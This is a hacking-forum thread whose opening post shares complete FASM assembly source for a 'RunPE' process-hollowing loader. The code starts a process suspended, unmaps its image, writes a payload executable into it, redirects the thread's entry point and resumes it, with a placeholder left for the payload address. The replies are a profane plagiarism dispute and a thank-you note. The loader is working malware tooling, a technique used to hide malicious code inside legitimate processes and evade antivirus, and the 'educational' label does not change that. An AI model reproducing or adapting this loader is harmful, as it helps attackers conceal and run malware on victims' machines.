

Forum:[Hack Forums](#)

Thread: [\[FASM\]Basic RunPE](#)

Armitage - March 16, 2016, 1:14 pm

i was bored and i decided to explore some of my old files, and i found one of my old sources and yes it's a RunPE, so i decided to share it for people who want to learn how it works ?

Code ;BASIC FASM RUNPE

;CODED BY ARMITAGE FOR EDUCATIONAL PURPOSE ONLY

format PE GUI 4.0

entry start

include "INCLUDE\WIN32A.INC"

section ".text" code executable readable

start:

```
push PROCESSINFORMATION
push STARTUP_INFO
push 0
push 0
push CREATE_SUSPENDED
push 0
push 0
push 0
push TargetProcess
push 0
call [CreateProcessA]
mov dword [CONTEXT], 10002h      ;Set CONTEXT.ContextFlags
push CONTEXT
push dword [PROCESSINFORMATION+4] ;PROCESS_INFORMATION.hThread
call [GetThreadContext]
cmp eax, 0
je ExitProcess
mov eax, dword [CONTEXT+0A4h] ;CONTEXT.EBX
add eax, 8                    ;PEB ADDRESS
push 0
push 4
push BASEADDRESS
push eax
push dword [PROCESSINFORMATION]
call [ReadProcessMemory]
push dword [BASEADDRESS]
push dword [PROCESSINFORMATION]
call [NtUnmapViewOfSection]
mov eax, dword [DataPtr]
mov ebx, eax
mov ax, word [eax]
cmp ax, 5A4Dh
```

```

jne ExitProcess
mov eax, dword [ebx+3Ch]    ;IMAGE_DOS_HEADER.e_lfanew
add eax, ebx
mov esi, eax                ;Saving the pointer
mov eax, dword [eax]
cmp eax, 4550h
jne ExitProcess
mov ax, word [esi+6h]
mov word [NUMBEROFSECTIONS], ax
mov eax, dword [esi+34h]
mov dword [IMAGEBASE], eax
cmp eax, dword [BASEADDRESS]
jne ExitProcess
mov eax, dword [esi+50h]
mov dword [SIZEOFIMAGE], eax
mov eax, dword [esi+54h]
mov dword [SIZEOFHEADERS], eax
add esi, 0F8h
mov dword [SECTIONHEADER_PTR], esi
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push dword [SIZEOFIMAGE]
push dword [IMAGEBASE]
push dword [PROCESSINFORMATION]
call [VirtualAllocEx]
push RETURN
push dword [SIZEOFHEADERS]
push dword [DataPtr]
push eax                    ;VirtualAllocEx returned value
push dword [PROCESSINFORMATION]
call [WriteProcessMemory]    ;WRITE IMAGE_NT_HEADERS
mov ecx, 0
mov edi, 28h

```

WriteSections:

```

mov eax, dword [SECTIONHEADER_PTR]
mov esi, eax                ;We save the pointer into ESI

add eax, 0Ch
mov dword [rTemp], eax
mov eax, ecx
mul edi
mov edx, dword [rTemp]
add edx, eax
mov eax, dword [edx]
add eax, dword [IMAGEBASE]    ;IMAGE_SECTION_HEADER[i].VirtualAddress +
IMAGEBASE
mov dword [rTemp], eax        ;Save the value

mov ebx, esi                ;We save the pointer into EBX
add esi, 10h
mov eax, ecx

```

```

mul edi
add esi, eax
mov esi, dword [esi] ;IMAGE_SECTION_HEADER[i].SizeOfRawData
mov dword [rTemp2], esi

add ebx, 14h
mov eax, ecx
mul edi
add ebx, eax
mov eax, dword [ebx] ;IMAGE_SECTION_HEADERS[i].PointerToRawData
add eax, dword [DataPtr]

mov word [ecxtemp], ecx

push RETURN
push dword [rTemp2] ;IMAGE_SECTION_HEADERS[1].SizeOfRawData
push eax ;IMAGE_SECTION_HEADERS[i].PointerToRawData
push dword [rTemp] ;IMAGE_SECTION_HEADERS[i].VirtualAddress + IMAGEBASE
push dword [PROCESSINFORMATION] ;PROCESS_INFORMATION.hProcess
call [WriteProcessMemory]

mov ecx, dword [ecxtemp]

inc ecx
cmp cx, word [NUMBEROFSECTIONS]
jne WriteSections

mov eax, dword [CONTEXT+0A4h] ;CONTEXT.EBX
add eax, 8

push 0
push 4
push BASEADDRESS
push eax
push dword [PROCESSINFORMATION]
call [WriteProcessMemory]

mov eax, dword [DataPtr]
mov eax, dword [eax+3Ch] ;IMAGE_DOS_HEADER.e_lfanew
add eax, dword [DataPtr]
mov eax, dword [eax+28h] ;OptionalHeader.AddressOfEntryPoint
add eax, dword [IMAGEBASE] ;It's not relative now :)
mov dword [CONTEXT+0B0h], eax
push CONTEXT
push dword [PROCESSINFORMATION+4]
call [SetThreadContext]
push dword [PROCESSINFORMATION+4]
call [ResumeThread]
push 0
call [Exit_Process]

```

ExitProcess:

```

push 0
push dword [PROCESSINFORMATION]
call [TerminateProcess]
push dword [PROCESSINFORMATION+4] ;PROCESS_INFORMATION.hThread
call [CloseHandle]
push dword [PROCESSINFORMATION] ;PROCESS_INFORMATION.hProcess
call [CloseHandle]
push 0
call [Exit_Process]

```

section ".data" data readable writable

```

TargetProcess db "C:\Users\XNXX.COM(lol)\Desktop\Coding\FASM IDE\RunPE.exe", 0
DataPtr dd 405058h ;write here the VA of your payload

```

section ".bss" readable writable

```

;WE WILL USE BSS SEGMENT INSTEAD OF STRUCTURES :)
PROCESSINFORMATION rb 10h
STARTUP_INFO rb 44h
CONTEXT rb 2CCh
BASEADDRESS rd 1
RETURN rd 1
IMAGEBASE rd 1
SIZEOFIMAGE rd 1
SIZEOFHEADERS rd 1
NUMBEROFSECTIONS rw 1
SECTIONHEADER_PTR rd 1
rTemp rd 1
rTemp2 rd 1
ecxtemp rw 1

```

section ".idata" import data readable writeable

```

library kernel,"KERNEL32.DLL",\
        ntdll,"NTDLL.DLL"
import kernel,\
        CreateProcessA, "CreateProcessA",\
        GetThreadContext, "GetThreadContext",\
        SetThreadContext, "SetThreadContext",\
        VirtualAllocEx, "VirtualAllocEx",\
        ReadProcessMemory, "ReadProcessMemory",\
        WriteProcessMemory, "WriteProcessMemory",\
        ResumeThread, "ResumeThread",\
        CloseHandle, "CloseHandle",\
        TerminateProcess, "TerminateProcess",\
        Exit_Process, "ExitProcess"
import ntdll,\
        NtUnmapViewOfSection, "NtUnmapViewOfSection"

```

G1gg1L3s - July 7, 2016, 12:10 pm

This a copy paste of FASM Packer by Xash

Armitage - July 10, 2016, 8:19 am

(Jul 7, 2016 12:10 PM)G1gg1L3s Wrote: [\[CITE\]](#) This a copy paste of FASM Packer by Xashif you are talking about this: <https://hackforums.net/showthread.php?tid=5159998>

first of all this is a Packer which doesn't use a RunPE, how the fuck did i copy it ?

can you tell me what i copied ?

and as a reponse for this as it got closed:

Quote:First : If you say those API's are undocumented not stable and shit why are you using them .

Second:If you had a fraction of the left central lobe of a brain the one responsible for logical thinking you'll know that your code won't work if you even tested it because you deleted some crucial parts of Xash's code (Xash is also a member of this forum by the way)

Third:You use CodeBlocks (for GOD FUCKING SAKES) you comment in .NET & Autolt Section all the time you haven't seen TERR's code but apparently you have this knowledge of Microsoft Kernel Wrappers .Because if you had some knowledge about Microsoft Codebase at all you'll know that API's of the NT Family are built on the same codebase from XP to Windows 10.

First : i didn't said to DON'T USE THEM, i said they are not used by LEGITIMATE Softwares.

Second: It's working.

Third: i don't comment in those both section, you must be a dumb if you saw me there.

They aren't build on the same "codebase" fucking skid.

aymi68 - December 6, 2016, 1:25 pm

Thank you for sharing this . I've never thought it was easier to learn in ASM.